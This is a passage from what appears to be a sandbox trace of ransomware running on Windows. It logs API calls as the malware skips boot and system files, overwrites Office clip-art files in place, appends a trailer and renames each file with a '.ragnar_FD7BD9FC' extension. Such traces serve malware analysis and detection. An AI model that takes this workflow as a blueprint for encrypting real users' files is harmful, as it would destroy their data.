ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105376.WMF", cAlternateFileName="")) returned 1 [0083.739] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.739] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105376.WMF" | out: lpString1="J0105376.WMF") returned="J0105376.WMF" [0083.739] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned=".WMF" [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="autorun.inf") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="boot.ini") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="bootfont.bin") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="bootsect.bak") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="bootmgr") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="bootmgr.efi") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="bootmgfw.efi") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="desktop.ini") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="iconcache.db") returned 1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="ntldr") returned -1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="ntuser.dat") returned -1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="ntuser.dat.log") returned -1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="ntuser.ini") returned -1 [0083.739] lstrcmpiW (lpString1="J0105376.WMF", lpString2="thumbs.db") returned -1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.740] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf")) returned 0x20 [0083.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.740] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4964) returned 1 [0083.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x135b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.740] GetProcessHeap () returned 0x580000 [0083.740] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.740] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.742] VirtualAlloc (lpAddress=0x0, dwSize=0x1364, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.742] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1364, lpOverlapped=0x0) returned 1 [0083.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1364, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.743] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1364, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1364, lpOverlapped=0x0) returned 1 [0083.743] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1364, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.743] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.743] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.743] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.744] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.744] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.744] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.744] GetProcessHeap () returned 0x580000 [0083.744] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.744] CloseHandle (hObject=0xf4) returned 1 [0083.744] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" [0083.744] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ragnar_FD7BD9FC" [0083.744] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105376.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105376.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.745] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1364, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105378.WMF", cAlternateFileName="")) returned 1 [0083.745] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.745] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105378.WMF" | out: lpString1="J0105378.WMF") returned="J0105378.WMF" [0083.745] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned=".WMF" [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="autorun.inf") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="boot.ini") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="bootfont.bin") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="bootsect.bak") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="bootmgr") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="bootmgr.efi") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="bootmgfw.efi") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="desktop.ini") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="iconcache.db") returned 1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="ntldr") returned -1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="ntuser.dat") returned -1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="ntuser.dat.log") returned -1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="ntuser.ini") returned -1 [0083.745] lstrcmpiW (lpString1="J0105378.WMF", lpString2="thumbs.db") returned -1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.745] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20 [0083.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.746] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4964) returned 1 [0083.746] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x135b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.746] GetProcessHeap () returned 0x580000 [0083.746] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.746] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.748] VirtualAlloc (lpAddress=0x0, dwSize=0x1364, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.748] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1364, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1364, lpOverlapped=0x0) returned 1 [0083.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1364, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.749] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1364, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1364, lpOverlapped=0x0) returned 1 [0083.749] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1364, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.749] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.749] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.749] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.749] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.750] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.750] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.750] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.750] GetProcessHeap () returned 0x580000 [0083.750] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.750] CloseHandle (hObject=0xf4) returned 1 [0083.750] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" [0083.750] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ragnar_FD7BD9FC" [0083.750] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.753] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1210, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105380.WMF", cAlternateFileName="")) returned 1 [0083.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.753] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105380.WMF" | out: lpString1="J0105380.WMF") returned="J0105380.WMF" [0083.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned=".WMF" [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="autorun.inf") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="boot.ini") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="bootfont.bin") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="bootsect.bak") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="bootmgr") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="bootmgr.efi") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="bootmgfw.efi") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="desktop.ini") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="iconcache.db") returned 1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="ntldr") returned -1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="ntuser.dat") returned -1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="ntuser.dat.log") returned -1 [0083.753] lstrcmpiW (lpString1="J0105380.WMF", lpString2="ntuser.ini") returned -1 [0083.754] lstrcmpiW (lpString1="J0105380.WMF", lpString2="thumbs.db") returned -1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.754] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 0x20 [0083.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.754] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4624) returned 1 [0083.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1207, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.754] GetProcessHeap () returned 0x580000 [0083.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.754] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.756] VirtualAlloc (lpAddress=0x0, dwSize=0x1210, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.756] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.756] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1210, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1210, lpOverlapped=0x0) returned 1 [0083.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.757] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1210, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.757] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1210, lpOverlapped=0x0) returned 1 [0083.757] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1210, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.757] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.757] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1210, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.757] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.757] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.757] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.757] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.758] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.758] GetProcessHeap () returned 0x580000 [0083.758] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.758] CloseHandle (hObject=0xf4) returned 1 [0083.758] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" [0083.758] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ragnar_FD7BD9FC" [0083.758] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.758] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105384.WMF", cAlternateFileName="")) returned 1 [0083.758] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.758] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105384.WMF" | out: lpString1="J0105384.WMF") returned="J0105384.WMF" [0083.758] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned=".WMF" [0083.759] lstrcmpiW (lpString1="J0105384.WMF", 